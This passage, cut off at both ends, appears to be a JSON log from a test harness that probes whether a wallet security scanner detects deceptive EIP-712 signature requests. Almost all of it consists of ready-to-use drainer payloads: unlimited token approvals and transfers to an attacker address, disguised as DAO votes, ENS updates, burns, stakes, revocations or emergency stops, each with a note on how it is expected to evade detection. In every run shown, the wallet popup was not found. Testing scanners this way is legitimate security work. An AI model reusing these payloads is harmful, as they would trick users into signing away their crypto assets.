Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T19:22:11.589Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T19:22:21.153Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T19:22:30.716Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T19:22:40.284Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T19:22:49.846Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T19:22:59.420Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T19:23:08.981Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T19:23:18.534Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T19:23:28.093Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T19:23:37.661Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T19:23:47.223Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T19:23:56.792Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T19:24:06.346Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN62-EIP3009-022", "timestamp": "2026-01-31T19:24:15.917Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x86ab9be907b1150d6940299e9ce4ba4b64a00b253ebce98ae7272b9a873e1ba7\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN62-EIP3009-054", "timestamp": "2026-01-31T19:24:25.470Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x7e9aeb52b587d8d9d0ca2c1f08b2557dc0dfe84c32b6b29a033294802d98e2af\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T19:24:35.028Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T19:24:44.583Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T19:24:54.143Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T19:25:03.697Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T19:25:13.263Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 